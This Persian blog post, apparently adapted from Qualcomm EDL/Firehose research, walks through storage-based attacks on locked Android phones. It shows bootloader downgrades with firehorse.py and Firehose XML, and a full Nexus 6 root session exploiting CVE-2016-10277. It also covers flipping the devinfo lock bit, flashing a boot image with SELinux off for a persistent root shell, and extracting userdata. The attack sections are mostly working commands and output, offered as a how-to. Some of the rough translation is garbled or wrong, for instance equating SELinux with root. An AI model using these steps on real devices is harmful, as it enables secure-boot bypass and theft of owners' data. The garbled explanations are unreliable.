دسترسی به داخل emmc با چیپ کوالکام& پشت پرده 9008-(2)

نویسنده: محمد دانه زن

بازدید: 1372 نفر

به روز رسانی: 1400/12/10

بخش دوم Storage-based Attacks

در فصل قبل Qualcomm Sahara، EDL و مشکل پروگرامر فایرهوز لو رفته را ارائه کردیم. ما پست وبلاگ را با توصیف دو نوع حمله بالقوه به پایان رساندیم: مبتنی بر Storage-based و memory-based . این فصل از مجموعه ما به Storage-based اختصاص دارد.

این یک واقعیت شناخته شده است که با دسترسی Firehose، می توان پارتیشن های دلخواه را با استفاده از برنامه و patch tags فلش کرد. که Firehose همچنین با استفاده از برچسب read اجازه خواندن پارتیشن‌های دلخواه را می‌دهد، که به‌طور شگفت‌انگیزی استخراج داده‌ها را فعال می‌کند (احتمالاً رمزگذاری شده، بسته به پارتیشن دارد).

باید روشن شود که داشتن یک زنجیره اعتماد ایمن به این معنی است که چنین حملات مبتنی بر ذخیره سازی نمی توانند بلافاصله با جایگزینی زنجیره بوت لودر به اجرای کد دلخواه دست یابند، زیرا جایگزینی کد معتبر با یک کد دستکاری شده می تواند توسط نهاد بارگیری شناسایی شود. با وجود آن، چنین قابلیتی ممکن است آزادی عمل کافی را برای مهاجم فراهم کند تا بوت امن را شکست دهد، همانطور که در ادامه خواهیم دید.

عقبگرد
اگرچه هر بخش از زنجیره بوت لودر به صورت دیجیتالی امضا و تأیید شده است (هر قسمت توسط لودر آن)، هنوز هم ممکن است با فلش کردن img های قدیمی که دارای امضای صحیح هستند، پارتیشن های دلخواه را دانگرید کنید.

این مشکل به طور کلی توسط Qualcomm با استفاده از qFuses برای لغو تصاویر قدیمی حل می شود. این با گنجاندن یک فیلد نسخه در هدر img بوت لودر امضا شده به دست می‌آید که می‌توان آن را به منظور باطل کردن img قدیمی افزایش داد. با وجود این، بسیاری از OEM ها از این قابلیت ضد بازگشت(rollback) استفاده نمی کنند، که به این معنی است که مهاجمان می توانند بخش های قابل فلش زنجیره بوت لودر (مانند SBL / *ABOOT / TZ) را کاهش دهند. هر پارتیشنی که در نتیجه توسط زنجیره بوت لودر تایید شده باشد نیز می تواند کاهش یابد.

Aboot ,TrustZone ایمج های قابل فلش هستند داخل ABOOT ——> fastboot تعبیه میشود

این امکان بهره برداری از آسیب پذیری های قدیمی را فراهم می کند. برای مثال، موارد زیر نشان می‌دهد که چگونه ABOOT یک دستگاه OnePlus 3T را به منظور سوء استفاده از آسیب‌پذیری‌های قدیمی که قبلاً در آن پیدا کرده بودیم، که یک دور زدن راه‌اندازی امن را فعال می‌کردند، کاهش دادیم. قبل از حمله، دستگاه دارای نسخه ABOOT بود که با این دستورات میتوانیم بوت لودر راکه گیر میدهد و امن هست و ایمج های قدیمی را نمیتوان رایت کرد را رایت کنیم:

fastboot oem disable_dm_verity

fastboot oem 4F500301/2

فکر نکنید این کامند ها عمل میکنند نه اول باید با استفاده از ABoot دستکاری شده دستور دهیم: بنویسیم خطای این چنین دریافت خواهیم کرد:

$ fastboot oem disable_dm_verity
...
FAILED (remote: unknown command)
finished. total time: 0.020s
$ fastboot oem 4F500301
...
FAILED (remote: unknown command)
finished. total time: 0.020s

دانگرید کردن ABoot توسط firehose:

 firehorse.py -t oneplus3t target write_partition aboot aboot-old.bin

firehose.py یک اسکریپت برای نوشتن img است

این XML زیر را از طریق Firehose در پشت صحنه ارسال می کند:

<data>
  <configure ZlpAwareHost="1" SkipStorageInit="0" TargetName="8974" SkipWrite="0" AckRawDataEveryNumPackets="100" MaxPayloadSizeToTargetInBytes="32768" MemoryName="ufs" />
  <program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="aboot" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0x990a000" start_sector="39178"/>
  <program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="abootbak" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0xa10a000" start_sector="41226"/>
</data>

خب بعد این که img دانگرید شده را آپلود میکنیم و دیگر میتونیم عملیات آنلاک کردن رو انجام بدیم با دستور fastboot:

$ fastboot oem disable_dm_verity
...
OKAY [  0.045s]
finished. total time: 0.045s
$ fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.020s

(PoC (getting into EDL دیگری در بوت لودر موتورولا نشان داده شده است (همچنین دارای یک برنامه نویس فاش شده است، اگرچه به نظر نمی رسد Firehose را پیاده سازی کند، بلکه پروتکل قدیمی تر است). با استفاده از این حمله، آن را به یک نسخه حساس CVE-2016-10277 تنزل می دهیم، که بوت امن را نیز شکست می دهد.

خب بریم سراخ روت کردن دستگاه با ADB Shell شروع می کنیم که روی دستگاهی با ABOOT وصله شده اجرا می شود. با استفاده از( CVE-2016-10277 نسخه قدیمی و آسیب پذیر)، با یک روت کردن پایدار (یعنی جیلبریک) به وسیله اکسپلویت. لطفاً توجه داشته باشید که دستگاه آزمایشی ما دارای یک Bootloader Android قفل شده است و Google هم نتوانست جلو این گار را بگیرد.

پایه و اساس روت کردن این چنین است:

+ adb wait-for-device shell getprop ro.build.fingerprint
google/shamu/shamu:7.1.1/N6F27M/4299435:user/release-keys
+ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
+ adb reboot edl
+ sudo ./edl/qboot blank-flash ./edl/programmer.mbn ./edl/singleimage.bin
< waiting for device >
opening device: /dev/ttyUSB0
OKAY [  0.000s]
greeting device for command mode
OKAY [  0.001s]
identifying device
...serial = 0xE4860D
...chip-id = 0x901
...chip-rev = 0x0
...sv-sbl = 0x0
OKAY [  0.002s]
finding files
...programmer = ./edl/programmer.mbn
...singleimage = ./edl/singleimage.bin
OKAY [  0.000s]
validating files
OKAY [  0.001s]
switching to download mode
OKAY [  0.000s]
greeting device for image downloading
OKAY [  0.000s]
sending programmer
OKAY [  0.006s]
flashing singleimage
100%
OKAY [  3.120s]
rebooting target
OKAY [  0.000s]
finished. total time:   3.131s
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-71.08(*)
finished. total time: 0.002s
+ fastboot flash partition img/gpt.bin
(bootloader) has-slot:partition: not found
target reported max download size of 536870912 bytes
sending 'partition' (32 KB)...
OKAY [  0.003s]
writing 'partition'...
[...]
OKAY [  0.063s]
finished. total time: 0.067s
+ fastboot flash aboot img/bootloader.aboot-n6f26y.img
+ fastboot reboot-bootloader
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-72.02(*)
finished. total time: 0.002s
+ fastboot oem config fsg-id a initrd=0x11000000,1519997
+ fastboot flash aleph ./img/initroot-shamu-aosp-nmf26f.cpio.gz
+ fastboot continue

+ adb wait-for-device
+ adb push ./img/bootloader.aboot-n6f26y.img ./img/bootloader.aboot-n6f27e.img ./img/initroot-shamu-aosp-nmf26f.img ./img/radio.modem-n6f27e.img /data/local/tmp
./img/bootloader.aboot-n6f26y.img: 1 file pushed. 19.9 MB/s (1048576 bytes in 0.050s)
./img/bootloader.aboot-n6f27e.img: 1 file pushed. 18.8 MB/s (1048576 bytes in 0.053s)
./img/initroot-shamu-aosp-nmf26f.img: 1 file pushed. 17.4 MB/s (8728576 bytes in 0.479s)
./img/radio.modem-n6f27e.img: 1 file pushed. 19.6 MB/s (117440512 bytes in 5.715s)
4 files pushed. 19.4 MB/s (128266240 bytes in 6.302s)
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/modem if=/data/local/tmp/radio.modem-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/boot if=/data/local/tmp/initroot-shamu-aosp-nmf26f.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/aboot if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/abootBackup if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell rm -fr /data/local/tmp/*.img
+ adb reboot bootloader
+ fastboot getvar version-bootloader
+ fastboot oem config fsg-id
...
OKAY [  0.008s]
finished. total time: 0.008s
+ fastboot continue
OKAY [  0.002s]
finished. total time: 0.002s
+ adb wait-for-device shell getprop ro.build.fingerprint
google/shamu/shamu:7.1.1/N6F27E/3939304:user/release-keys
+ adb shell id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
+ adb shell
shamu:/ #

تئوری آنلاک کردن بخش نیمه انتزاعی:

برای برخی از دستگاه ها، مانند چندین دستگاه شیائومی، فلش کردنی یک پارتیشن برای باز کردن قفل بوت لودر اندروید (که تأیید بقیه زنجیره را غیرفعال می کند) کافی است چون زنجیره اعتماد از بین میرود. تداعی بکنید لطفا

[Primary Bootloader (PBL)]
 |
 `---NORMAL BOOT---.
                   [Secondary Bootloader (SBL)]
                   |-.
                   | [Applications Bootloader (ABOOT)]
                   | `-.
                   |   [boot.img]
                   |   |-- Linux Kernel
                   |    `-- initramfs
                   |       `-.
                   |          [system.img]
                   |
                    `-[TrustZone]

بیت قفل بوت لودر چنین دستگاه هایی در پارتیشن devinfo نگهداری می شود که توسط Bootloader Android تجزیه شده است.

مهاجمان می توانند به سادگی بیت قفل را برگردانند تا یک تصویر بوت دلخواه بارگذاری شود. این باعث بازنشانی کارخانه ای نمی شود.

خواندن devinfo با استفاده از چارچوب ما قبل از حمله، خروجی زیر را به دست می‌دهد:

> firehorse.py -t ugglite target read_partition devinfo
> hexdump devinfo.bin
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  41 4E 44 52 4F 49 44 2D 42 4F 4F 54 21 00 00 00  ANDROID-BOOT!...
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

انجام این کار به صورت واقعی امکان پذیر است پیش نیاز های این کار به شرح زیل است:

نصب qpst
تولید یک پیلود(payload) ….سخت ترین قسمت حمله

COM = “COM17″
FH_LOADER = r”C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe”
SAHARA_SERVER = r”C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe”

توی فایل constants.py کانفیگ های بالا رو ست میکنید

بعد ست کردن این چنین ایستفاده میشود:

c:\firehorse\host>python firehorse.py -s -c COM17 -t nokia6 target magic
INFO: sending programmer…
INFO: Overwriting partition logdump with ../tmp\nokia6-ramdisk-modified.cpio.gz…
INFO: applying patches and breakpoints…
INFO: installing bp for 0010527c
INFO: installing bp for 00104130
[…]
INFO: creating pagecopy…
INFO: pages: set([272, 256, 259, 260, 261])
INFO: uploading firehorse data…
INFO: uploading egghunter to 080af000
INFO: 080af000
INFO: i = 0, dst = 080d0000, cksum = d1fe325f
INFO: i = 1, dst = 080d0320, cksum = 3c092224
INFO: got all parts in 1 tries
INFO: uploading firehorse…
INFO: i = 0, dst = 080b0000, cksum = f5234b61
INFO: i = 1, dst = 080b0320, cksum = 641cb436
[…]
INFO: got all parts in 2 tries
INFO: initializing firehorse…
INFO: calling pbl patcher…

تنظیم عدد 1 در آفست 0x10، 0x18 و فلش کردن devinfo ایمیج اصلاح شده، قفل بوت لودر را باز می کند:

> firehorse.py -t ugglite target write_partition devinfo devinfo-modified
> fastboot oem device-info
(bootloader) 	Device tampered: false
(bootloader) 	Device critical unlocked: true

این کار قفل بوت لودر را باز می کند و تأیید boot.img را غیرفعال می کند.(دیگه گیر نمیده)

فلش کردن boot.img دستکاری شده ما (با استفاده از fastboot یا firehose) (با یک init اصلاح شده به گونه ای که (Security-Enhanced Linux (SELinux مقداردهی اولیه نشده باشد، و یک adbd اصلاح شده که فاقد (1) مجوز (2) قابلیت کاهش (3) setuid/gid به shell است. که یک شل با دسترسی دائمی روت به ما میدهد که در لینوکس به (Security-Enhanced Linux (SELinux است.

(Security-Enhanced Linux (SELinux یعنی دسترسی بیشتر یعنی روت .

> fastboot flash boot target/ugglite/boot-ugglite-root.img
> adb shell
ugglite:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
ugglite:/ # getenforce
Permissive

استخراج داده از emmc :

<?xml version="1.0" ?>
<data>
<program SECTOR_SIZE_IN_BYTES="512" file_sector_offset="0" filename="userdata.img" label="userdata" num_partition_sectors="1572864" physical_partition_number="0" size_in_KB="3145728.0" sparse="true" start_byte_hex="0x13c000000" start_sector="10354688"/>
</data>
</xml>

تبلیغات

نرم افزارهای ضروری

دسترسی به داخل emmc با چیپ کوالکام& پشت پرده 9008-(2)

نظرتان را به اشتراک بگذارید

لغو پاسخ